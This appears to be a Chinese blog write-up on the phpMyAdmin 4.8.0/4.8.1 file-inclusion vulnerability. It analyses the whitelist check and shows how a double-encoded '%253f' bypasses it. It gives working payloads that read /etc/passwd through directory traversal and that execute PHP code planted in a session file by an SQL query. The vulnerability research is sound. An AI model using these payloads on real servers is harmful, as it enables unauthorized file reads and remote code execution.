0x01影响版本

phpMyAdmin-4.8.0/4.8.1

0x02 漏洞分析

问题代码在index.php 50-63行代码

$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //target不为空
    && is_string($_REQUEST['target'])//target为字符串
    && ! preg_match('/^index/', $_REQUEST['target']) //不能以index开头
    && ! in_array($_REQUEST['target'], $target_blacklist) //不能在数组target_blacklist中
    && Core::checkPageValidity($_REQUEST['target']) //checkPageValidit 返回true
) {
    include $_REQUEST['target'];
    exit;
}

53488-xm9tpr50ow.png

我们来提取一下要成功包含需要满足的条件

  • $_REQUEST['target']不为空
  • $_REQUEST['target']为字符串
  • $_REQUEST['target']不能以index开头
  • $_REQUEST['target']不能是黑名单中的文件名(import.php、export.php)
  • Core::checkPageValidity($_REQUEST['target'])校验为真

checkPageValidity()方法在librariesclassesCore.php 443-476行

 public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

index.php在调用的时候没有传入$whitelist,所以这里会被赋值为self::$goto_whitelist;

if (empty($whitelist)) {
    $whitelist = self::$goto_whitelist;
}

self::$goto_whitelist;的定义在librariesclassesCore.php 31-80行,也就是白名单文件列表

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

如果为空或者不是字符串之间返回false,如果在$whitelist白名单内直接返回true

if (! isset($page) || !is_string($page)) {
    return false;
}
if (in_array($page, $whitelist)) {
    return true;
}

但这里考虑到了可能带参数的状况,因此有了下面的判断数

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

来看看mb_substr函数

08189-enzckonbngl.png

mb_strpos

48226-jdwzbneqsyk.png

那这段代码就是提取出带参数的文件名然后在去白名单中比较

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

测试index.php?id=1&type=ls结果得到index.php

78330-h9xsafdw3hq.png

考虑了url编码的状况,下一步又进行url解码,对比上面就多了一行urldecode

 $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

利用二次编码%253f 可以绕过checkPageValidity()的检查,会让checkPageValidity()这个函数返回true
例如传入

?target=db_datadict.php%253f

因为服务器会自动解码一次,因此传入到checkPageValidity()中的时候,$page值为db_datadict.php%3f,输出看看

30430-raexsir66rh.png

结果
12552-147ltik1porb.png

在遇到$_page = urldecode($page);二次解码后为:db_datadict.php?然后提取出?前面的内容db_datadict.php就符合白名单要求了,输出解码后经过提取的内容

36752-qujrvdu8eze.png

输出结果

37657-1iiral3iat1.png

经过目录穿越包含任意文件,这里测试/etc/passwd

?target=db_sql.php%253f/../../../../../../../../etc/passwd

这里我输出的信息没有删掉

59434-20wl2hrqnfi.png

0x03 包含sessionGetShell

通常linux系统中存放路径为 /tmp/sess_[当前会话session值]

30894-2zeedtgqxv8.png

执行sql语句:

select '<?php phpinfo();?>';

79919-f2bvycjna4d.png

查看一下session文件内容,发现成功写入

81837-oixkidm252i.png

查看session

88446-2wmtwu44nb7.png

然后包含成功执行

target=db_sql.php%253f/../../../../../../../../tmp/sess_9973b90bc1a79a1d82b150abaf120087

58645-9v73ziz2muk.png

最后修改:2022 年 04 月 20 日
如果觉得我的文章对你有用,请随意赞赏